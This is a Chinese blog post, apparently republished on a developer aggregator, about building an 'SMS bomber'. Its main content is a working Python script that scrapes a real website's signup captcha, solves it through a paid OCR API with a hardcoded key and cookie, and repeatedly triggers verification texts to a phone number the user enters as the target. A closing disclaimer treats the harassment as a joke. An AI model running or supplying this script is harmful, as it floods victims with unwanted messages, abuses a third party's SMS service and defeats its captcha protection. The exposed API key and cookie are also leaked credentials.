无聊做了个发骚扰短信的,结果。。。

2023-11-27 12:32
文章标签 短信 无聊 骚扰

本文主要是介绍无聊做了个发骚扰短信的,结果。。。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

刷小视频,发现有人利用验证码平台发骚扰短信,还挺厉害,然后我就打开了网页去试试。

在这里插入图片描述
其实技术不难,主要就是post提交表单然后发送手机验证码进行骚扰。
在这里插入图片描述
这个就是点验证码得到的信息,所以我们能通过这个得到key和验证码图片。
通过这个我们可以把验证码保存,然后每次看着图片输入验证码,这样进行一次次的发骚扰短信
但是这样也太麻烦了吧,完全是弱智行为。所以我想能不能让验证码能自动识别,首先想到的是pytesseract,但是试验了一下发现识别效果太差,十次没有一次能成功发送的。然后再去试试自动识别验证码的网站,再来试。
这个网站识别的主要借鉴了这个博客

然后刚刚试了一下,十次能成功好几次

代码

这部分我把我之前用pytesseract写的部分也保留着

import requests
import json
import pytesseract
from time import sleep
from collections import defaultdict
from PIL import Image, ImageDraw
import sys, os
import base64# tessdata_dir_config = '--tessdata-dir "c:/Program Files (x86)/Tesseract-OCR/tessdata"'
#
# # 获取图片中像素点数量最多的像素
# def get_threshold(image):
#     pixel_dict = defaultdict(int)
#
#     # 像素及该像素出现次数的字典
#     rows, cols = image.size
#     for i in range(rows):
#         for j in range(cols):
#             pixel = image.getpixel((i, j))
#             pixel_dict[pixel] += 1
#
#     count_max = max(pixel_dict.values()) # 获取像素出现出多的次数
#     pixel_dict_reverse = {v:k for k,v in pixel_dict.items()}
#     threshold = pixel_dict_reverse[count_max] # 获取出现次数最多的像素点
#
#     return threshold
#
# # 按照阈值进行二值化处理
# # threshold: 像素阈值
# def get_bin_table(threshold):
#     # 获取灰度转二值的映射table
#     table = []
#     for i in range(256):
#         rate = 0.1 # 在threshold的适当范围内进行处理
#         if threshold*(1-rate)<= i <= threshold*(1+rate):
#             table.append(1)
#         else:
#             table.append(0)
#     return table
#
# # 去掉二值化处理后的图片中的噪声点
# def cut_noise(image):
#
#     rows, cols = image.size # 图片的宽度和高度
#     change_pos = [] # 记录噪声点位置
#
#     # 遍历图片中的每个点,除掉边缘
#     for i in range(1, rows-1):
#         for j in range(1, cols-1):
#             # pixel_set用来记录该店附近的黑色像素的数量
#             pixel_set = []
#             # 取该点的邻域为以该点为中心的九宫格
#             for m in range(i-1, i+2):
#                 for n in range(j-1, j+2):
#                     if image.getpixel((m, n)) != 1: # 1为白色,0位黑色
#                         pixel_set.append(image.getpixel((m, n)))
#
#             # 如果该位置的九宫内的黑色数量小于等于4,则判断为噪声
#             if len(pixel_set) <= 4:
#                 change_pos.append((i,j))
#
#     # 对相应位置进行像素修改,将噪声处的像素置为1(白色)
#     for pos in change_pos:
#         image.putpixel(pos, 1)
#
#     return image # 返回修改后的图片
#
# # 识别图片中的数字加字母
# # 传入参数为图片路径,返回结果为:识别结果
# def OCR_lmj(img_path):
#     image = Image.open(img_path) # 打开图片文件
#     imgry = image.convert('L')  # 转化为灰度图
#     width=imgry.size[0]*4
#     length=imgry.size[1]*4
#     image = image.resize((width, length), Image.ANTIALIAS)
#     imgry=imgry.resize((width,length),Image.ANTIALIAS)
#     #image.show()
#     #imgry.show()
#     # 获取图片中的出现次数最多的像素,即为该图片的背景
#     max_pixel = get_threshold(imgry)
#
#     # 将图片进行二值化处理
#     # 注意,是否使用二值化要看具体情况,有些图片二值化之后,可能关键信息会丢失,反而识别不出来
#     table = get_bin_table(threshold=70)
#     out = imgry.point(table, '1')
#
#     # 去掉图片中的噪声(孤立点)
#     out = cut_noise(out)
#
#     #保存图片
#     out.save('./变换后验证码.jpg')
#
#     # 仅识别图片中的数字
#     #text = pytesseract.image_to_string(out, config='digits')
#     # 识别图片中的数字和字母
#     text = pytesseract.image_to_string(out,config='--psm 7')
#
#     # 去掉识别结果中的特殊字符
#     exclude_char_list = ' .:\\|\'\"?![],()~@#$%^&*_+-={};<>/¥'
#     text = ''.join([x for x in text if x not in exclude_char_list])
#     #print(text)
#     return text# 识别验证码
def verify_code(base64_str):appkey = "d33906c525ed719b751c1b40f953816c"verify_code_juhe_url = "http://op.juhe.cn/vercode/index"print("开始上传云打码")url = verify_code_juhe_urlparams = {"key": appkey,"codeType": "1004","base64Str": base64_str,"dtype": "json"}try:res = requests.post(url=url, params=params, timeout=60)res = json.loads(res.text)except Exception:print("上传云打码失败!!!")else:print("上传云打码成功!!!")return res['result']def get_params():response=requests.get("http://www.demlution.com/dapi/verification_code/get_captcha",headers=headers)res=list(eval(response.text).values())key=res[0]img=res[1]return key,imgdef get_image(img):bs=''html = requests.get("http://www.demlution.com"+img, headers=headers)if html.status_code == 200:bs = base64.b64encode(html.content)with open( "./%s.jpg" %("验证码"), "wb") as f:f.write(html.content)f.close()return bsdef send(code,mykey):#ensure_ascii=Falser=requests.post('http://www.demlution.com/dapi/verification_code/send_demlution_signup_code',data=json.dumps({"mobile":tel_num,"challenge":code,"key":mykey,"type": "signup"}),headers=headers)print(r.text)def main():mykey, img = get_params()mykey = str(mykey)print(mykey)bs=get_image(img)code=verify_code(bs)code=str(code).upper()print(code)sleep(2)send(code,mykey)if __name__ == '__main__':tessdata_dir_config = '--tessdata-dir "c://Program Files (x86)//Tesseract-OCR//tessdata"'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36','Cookie': 'da_a=f3d3831b018a4f5ebf27d8f746332044','Referer': 'http://www.demlution.com/'}tel_num = input("请输入要轰炸的手机号码:")for i in range(5):main()

在这里插入图片描述

结果:

当我运行之后,我就完蛋了。正好碰到我的测试用户今天很生气,然后如下图
在这里插入图片描述
重点:这个只是做着玩一下的,别真的去骚扰谁,后果我可不负责,不说了我要赶紧去道歉了

这篇关于无聊做了个发骚扰短信的,结果。。。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/427661

相关文章

android 免费短信验证功能

没有太复杂的使用的话,功能实现比较简单粗暴。 在www.mob.com网站中可以申请使用免费短信验证功能。 步骤: 1.注册登录。 2.选择“短信验证码SDK” 3.下载对应的sdk包,我这是选studio的。 4.从头像那进入后台并创建短信验证应用,获取到key跟secret 5.根据技术文档操作(initSDK方法写在setContentView上面) 6.关键:在有用到的Mo

适用于 Android 的 几种短信恢复应用程序

Android 设备上的短信丢失可能由于多种原因而丢失,例如意外删除、恢复出厂设置、系统崩溃或病毒攻击。是否有应用程序可以恢复 Android 上已删除的短信?幸运的是,有几款短信恢复应用程序可以扫描您的 Android 手机并从内存或 SIM 卡中检索已删除的短信。 然而,并非所有短信恢复应用程序都是可靠或有效的。有些可能无法恢复消息,有些可能会损坏您的数据,有些甚至可能包含恶意软件或间谍软件

某大厂程序员吐槽:离职交接时,新人被工作量吓退,领导却污蔑我故意劝退新人,我怒晒工作短信反击证明,新人看了后也决定走人了!

一位知名大公司的程序员分享了他离职时的遭遇:在交接工作时,新进的同事因工作量过大而感到压力,但出乎意料的是,他们的领导却指责我故意吓唬新人。为了证明自己的清白,我晒出了工作短信作为反击,结果连新人也决定离开。 在任何组织里,团队文化的优劣都是决定工作效率和质量的关键。一个和谐相处的团队不仅能提升工作效率,还能使工作氛围变得轻松愉快。 然而,一旦团队内部出现权力斗争或领导偏爱小团体、

实际项目开发:Spring集成Redis,并实现短信登录功能

redis新手,学了几种基本数据类型,却不知道怎么使用? 总是一边学一边忘? 学会了Redis的大多数使用命令,却不知道如何在项目中使用? 本文将从实际出发,为大家解决这些问题。 我是蚊子码农,欢迎各位的点赞、关注和收藏,有了你们的激励,我会带来更好的作品。 一、环境准备 从环境出发。 第一,基础环境: JDK版本:JDK1.8。构建工具:Maven。开发工具:IDEA。基础依赖:Spri

ubuntu 18.04 server源码编译安装freeswitch 1.10.7支持音视频通话、收发短信——筑梦之路

软件版本说明 ubuntu版本18.04:https://releases.ubuntu.com/18.04.6/ubuntu-18.04.6-live-server-amd64.iso freeswitch 版本1.10.7:https://files.freeswitch.org/freeswitch-releases/freeswitch-1.10.7.-release.tar.gz s

临时号码,接收短信验证码

数据信息安全于我们每个人都有着重要的意义,还记得你常收到的陌生推销或骚扰电话吗? 出于论坛资源下载、数据服务试用等现实临时需要,我们有时候不得不注册使用一些可能并不会经常使用的网站或平台服务,手机号码也不可避免的被要求绑定注册,久而久之我们的个人信息被拿捏存储在别人的数据库中,而对于这些被交付的私人数据我们个人目前多半无能为力, 现代社会中大多数人容易忘记密码,因此,为了方便,各大网站或者APP就

适合PbootCMS的阿里云短信发送类

前言介绍 一款大佬分享的简单方便阿里云短信封装代码,不用官网复杂的SDK,快速上手。 现在我把它适配成pbootcms,可以拿来快速制作短信发送功能。 封装代码 <?php/*** @author CMS88*  阿里云SMS*/namespace core\sms;use core\basic\Config;class AliyunSms {// 保存错误信息public $er

使用NestJS构建安全密码重置功能的完整指南:实现短信链接跳转验证功能

引言 实现忘记密码的短信链接验证功能,可以按照以下步骤进行: 用户请求重置密码:用户提供注册手机号码,系统生成一个唯一的重置令牌(token),将令牌和用户信息存储在数据库中,并将包含重置令牌的链接通过短信发送给用户。 用户点击链接:用户点击短信中的链接,服务器验证令牌的有效性。如果令牌有效,用户可以设置新密码。 设置新密码:用户输入新密码,服务器验证并更新用户密码,删除或使令牌失效。

面向黑灰产治理的恶意短信变体字还原第6名方案

前段时间组织同学们参加了面向黑灰产治理的恶意短信变体字还原比赛,获得了第6名。方案如下: 赛题链接:面向黑灰产治理的恶意短信变体字还原 竞赛 - DataFountain 赛题任务描述:本任务类似于机器翻译,需要针对恶意短信中的变体字进行还原。恶意垃圾短信为了跳过安全检测会将字符变成变体的字符,需要采用深度学习建模的方法将测试集中新出现的短信变体字还原为正常信息文本,即不含有变体字、干扰字符

手把手教你挖赏金系列(2)如何挖掘短信验证码漏洞

免责声明 由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。LK安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢! 文中涉及漏洞均以提交至相关漏洞平台,禁止打再次复现主意 _教育SRC系列已经更新结束,现在开一个新坑赏金系列,欢迎各位师傅关注!!!! _ 类型一 短信验证码绕过漏洞 0x0